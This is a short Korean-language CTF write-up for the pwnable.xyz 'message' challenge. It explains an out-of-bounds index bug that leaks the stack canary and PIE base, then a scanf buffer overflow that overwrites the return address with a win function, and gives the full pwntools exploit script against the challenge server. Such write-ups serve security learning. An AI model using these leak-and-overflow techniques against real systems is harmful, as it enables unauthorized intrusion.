pwn/pwnable.xyz
pwnable.xyz / message
lok2h4rd
2022. 5. 20. 02:12
- 메시지 수정
- 메시지 출력
- admin이면 플래그 출력
get_choise함수에는 OOB가 터지는 걸로 canary랑 pie를 릭하면 된다
릭한 뒤 메시지 수정에서 scanf로 bof가 터져서 ret를 win함수로 덮어주면된다
from pwn import *
p = remote("svc.pwnable.xyz", 30017)
#p = process("./message")
def leak(data):
p.recvuntil(b"> ")
p.sendline(bytes([data]))
p.recvuntil(b"Error: ")
leak = int(p.recvuntil(b" "))
return bytes([leak])
main = 0x1a + 0x30
cnry = 0xb + 0x30
win = 0xab0
p.recvuntil(b"Message: ")
p.sendline(b"AAA")
canary = b"\x00"
for i in range(7):
canary += leak(cnry + i)
canary = u64(canary)
pie = b""
for i in range(6):
pie += leak(main + i)
pie += b"\x00\x00"
pie = u64(pie) - 0xb30
payload = b"A" * 0x28
payload += p64(canary)
payload += b"A" * 8
payload += p64(pie + win)
log.info("canary: " + hex(canary))
log.info("pie: " + hex(pie))
log.info("win: " + hex(win))
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Message: ")
p.sendline(payload)
p.recvuntil(b"> ")
p.sendline(b"0")
p.interactive()